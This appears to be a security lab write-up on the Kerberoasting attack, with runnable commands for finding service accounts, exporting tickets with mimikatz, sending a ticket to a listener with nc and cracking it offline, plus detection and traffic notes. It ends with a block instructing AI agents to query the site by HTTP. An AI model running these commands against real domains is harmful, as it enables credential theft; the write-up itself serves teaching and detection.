# Kerberoasting

This lab explores the Kerberoasting attack - it allows any domain user to request kerberos tickets from TGS that are encrypted with NTLM hash of the plaintext password of a domain user account that is used as a service account (i.e account used for running an IIS service) and crack them offline avoiding AD account lockouts.

## Execution

Note the vulnerable domain member - a user account with `servicePrincipalName` attribute set, which is very important piece for kerberoasting - only user accounts with that property set are most likely susceptible to kerberoasting:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKEIPRKzyIL8ssJ1Eky%2F-LKEHymbOx0oOZqB-u3R%2Fkerberoast-principalname.png?alt=media\&token=bb0909ca-93f7-4f52-8045-615a94f0cc6b)

Attacker setting up an nc listener to receive a hash for cracking:

{% code title="attacker\@local" %}

```csharp
nc -lvp 443 > kerberoast.bin
```

{% endcode %}

### Extracting the Ticket

Attacker enumerating user accounts with `serverPrincipalName` attribute set:

{% code title="attacker\@victim" %}

```csharp
Get-NetUser | Where-Object {$_.servicePrincipalName} | fl
```

{% endcode %}

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKEQWnWdxN10k88vogc%2F-LKEQTo6Vvatn_DEOJ48%2Fkerberoast-enumeration.png?alt=media\&token=eb2b7887-fdfd-44b1-8fe3-00d8c9d20375)

Using only built-in powershell, we can extract the susceptible accounts with:

```csharp
get-adobject | Where-Object {$_.serviceprincipalname -ne $null -and $_.distinguishedname -like "*CN=Users*" -and $_.cn -ne "krbtgt"}
```

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKO4btIeebtUwYK4eFR%2F-LKO52yd3HfsBmTinFHl%2Fkerberoast-powershell.png?alt=media\&token=8c762564-615d-4deb-b1ee-b13b5aee29d1)

It would have been better to use the following command provided by [Sean Metcalf](https://adsecurity.org/?p=2293) purely because of the `-filter` usage (quicker than `select-object`), but it did not work for me:

```csharp
get-adobject -filter {serviceprincipalname -like “*sql*”} -prop serviceprincipalname
```

Another alternative working on Linux using [bloodyAD](https://github.com/CravateRouge/bloodyAD):

```csharp
python bloodyAD.py -u '$user' -p '$password' -d '$domain' --host '$host' get search --filter '(&(!(cn=krbtgt))(&(samAccountType=805306368)(servicePrincipalName=*)))' --attr sAMAccountName | grep sAMAccountName | cut -d ' ' -f 2
```

Additionally, user accounts with SPN set could be extracted with a native windows binary:

```
 setspn -T offense -Q */*
```

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKIfG6BsIx4nzjVhA5g%2F-LKIfXzbGIXjdq2p7WgL%2Fkerberoast-setspn.png?alt=media\&token=74471cd8-c62a-43b7-a195-bcbbbf1b1aca)

Attacker requesting a kerberos ticket (TGS) for a user account with `servicePrincipalName` set to `HTTP/dc-mantvydas.offense.local`- it gets stored in the memory:

{% code title="attacker\@victim" %}

```csharp
Add-Type -AssemblyName System.IdentityModel  
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/dc-mantvydas.offense.local"
```

{% endcode %}

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKEIPRKzyIL8ssJ1Eky%2F-LKEIBbmJjX4MMuicYOd%2Fkerberoast-kerberos-token.png?alt=media\&token=2e1874f2-0239-4842-861d-9afc8c460f9f)

Using mimikatz, the attacker extracts kerberos ticket from the memory and exports it to a file for cracking:

{% code title="attacker\@victim" %}

```csharp
mimikatz # kerberos::list /export
```

{% endcode %}

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKEIPRKzyIL8ssJ1Eky%2F-LKEIGe2N7anuEWUEzEI%2Fkerberoast-exported-kerberos-tickets.png?alt=media\&token=4f59a38f-c80b-46b0-97f1-4009673381b0)

Attacker sends the exported service ticket to attacking machine for offline cracking:

{% code title="attacker\@victim" %}

```csharp
nc 10.0.0.5 443 < C:\tools\mimikatz\x64\2-40a10000-spotless@HTTP~dc-mantvydas.offense.local-OFFENSE.LOCAL.kirbi
```

{% endcode %}

### Cracking the Ticket

Attacker brute forces the password of the service ticket:

{% code title="attacker\@local" %}

```csharp
python2 tgsrepcrack.py pwd kerberoast.bin
```

{% endcode %}

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKEIPRKzyIL8ssJ1Eky%2F-LKEILsCTgLjlbxn9h7B%2Fkerberoast-cracked.png?alt=media\&token=f4e6ec4f-9ed9-4217-a665-b86ca678f861)

## Observations

Below is a security log `4769` showing service access being requested:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKIl6pZ0bcRVjnv2Tp8%2F-LKIlHyRC5bx2E7kMWZs%2Fkerberoast-4769.png?alt=media\&token=c639c0dc-77c9-46b4-8b79-daaecd2aef7e)

If you see `Add-event -AssemblyName SystemIdentityModel` (from advanced Powershell logging) followed by a windows security event `4769` immediately after that, you may be looking at an old school Kerberoasting, especially if ticket encryption type has a value `0x17` (23 decimal, meaning it's RC4 encrypted):

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKIl6pZ0bcRVjnv2Tp8%2F-LKIningDnwgpErj5BQO%2Fkerberoast-logs.png?alt=media\&token=eadce00c-2062-471c-a65c-8dd99323ca24)

### Traffic

Below is the screenshot showing a request being sent to the `Ticket Granting Service` (TGS) for the service with a servicePrincipalName `HTTP/dc-mantvydas.offense.local` :

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKGilNsUAW2LcJ-aMvk%2F-LKGj4Kvf84KO1anyG1W%2Fkerberoast-tgs-req.png?alt=media\&token=f89019df-a503-44e9-bcd1-5886b5afcc4c)

Below is the response from the TGS for the user `spotless` (we initiated this attack from offense\spotless) which contains the encrypted (RC4) kerberos ticket (server part) to access the `HTTP/dc-mantvydas.offense.local` service. It is the same ticket we cracked earlier with [tgsrepcrack.py](#cracking-the-ticket):

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKGilNsUAW2LcJ-aMvk%2F-LKGj6j_gpAVwcUbHpg0%2Fkerberoast-tgs-res.png?alt=media\&token=e584d327-b3c0-49f0-b350-9e7fd8c4061e)

Out of curiosity, let's decrypt the kerberos ticket since we have the password the ticket was encrypted with.

Creating a kerberos keytab file for use in wireshark:

{% code title="attacker\@local" %}

```bash
root@~# ktutil 
ktutil:  add_entry -password -p HTTP/iis_svc@dc-mantvydas.offense.local -k 1 -e arcfour-hmac-md5
Password for HTTP/iis_svc@dc-mantvydas.offense.local: 
ktutil:  wkt /root/tools/iis.keytab
```

{% endcode %}

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKH6lKxEkloJztnpqzM%2F-LKH4lBMQhe-45WDcppK%2Fkerberoast-creating-keytab.png?alt=media\&token=a241ac27-8278-4bc4-bd9b-409478576c6d)

Adding the keytab to wireshark:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKH6lKxEkloJztnpqzM%2F-LKH4ntWZZS0w0-UQqUV%2Fkerberoast-wireshark-keytab.png?alt=media\&token=a2f88ea5-de7e-4a9f-954b-b8a2e5aec08b)

Note how the ticket's previously encrypted piece is now in plain text and we can see information pertinent to the requested ticket for a service `HTTP/dc-mantvydas.offense.local` :

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKH6lKxEkloJztnpqzM%2F-LKH6iRF_yfVO_4JgoP9%2Fkerberoast-decrypted.png?alt=media\&token=aa42e7bb-9b09-47ef-8a02-76942e3eaac7)

### tgsrepcrack.py

Looking inside the code and adding a couple of print statements in key areas of the script, we can see that the password from the dictionary (`Passw0rd`) initially gets converted into an NTLM (`K0`) hash, then another key `K1` is derived from the initial hash and a message type, yet another key `K2` is derived from K1 and an MD5 digest of the encrypted data. Key `K2` is the actual key used to decrypt the encrypted ticket data:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKHbc6IrcsO-aRw_Ntl%2F-LKHdsJBFE3Mnvtrl0iu%2Fkerberoast-crackstation.png?alt=media\&token=e99c0667-3d28-44bc-8434-1bc3fcd5f3d0)

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKHbc6IrcsO-aRw_Ntl%2F-LKHdaWK0wLrmtY_gha0%2Fkerberoast-printstatements.png?alt=media\&token=6bb3a13e-5900-4445-9004-0e175a840aa9)

I did not have to, but I also used an online RC4 decryptor tool to confirm the above findings:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKHbc6IrcsO-aRw_Ntl%2F-LKHe8dvHZGhNNZdCSO8%2Fkerberoast-decryptedonline.png?alt=media\&token=a79b89bd-50d1-416f-9283-6a1d2ca10eed)

{% file src="<https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKGnVC0FcBAgxoJ2lPY%2F-LKGnkAw0lxXESfiSmJh%2Fkerberoast.pcap?alt=media&token=e4b98490-f1f3-47ab-a1d5-6bd753fb7010>" %}
kerberoast.pcap
{% endfile %}

## References

[Tim Medin - Attacking Kerberos: Kicking the Guard Dog of Hades](https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin\(1\).pdf)

{% embed url="<https://attack.mitre.org/wiki/Technique/T1208>" %}

{% embed url="<https://github.com/nidem/kerberoast>" %}

{% embed url="<https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/>" %}

{% embed url="<https://adsecurity.org/?p=2293>" %}

{% embed url="<https://www.youtube.com/watch?v=nJSMJyRNvlM&feature=youtu.be&t=16>" %}

{% embed url="<http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/>" %}

{% embed url="<https://pentestlab.blog/2018/06/12/kerberoast/>" %}

{% embed url="<https://blog.xpnsec.com/kerberos-attacks-part-1/>" %}

{% embed url="<https://pentestlab.blog/2018/06/12/kerberoast/>" %}

{% embed url="<http://rc4.online-domain-tools.com/>" %}

{% embed url="<https://crackstation.net/>" %}

{% embed url="<https://blogs.technet.microsoft.com/askds/2008/03/06/kerberos-for-the-busy-admin/>" %}

{% embed url="<https://medium.com/@jsecurity101/ioc-differences-between-kerberoasting-and-as-rep-roasting-4ae179cdf9ec>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
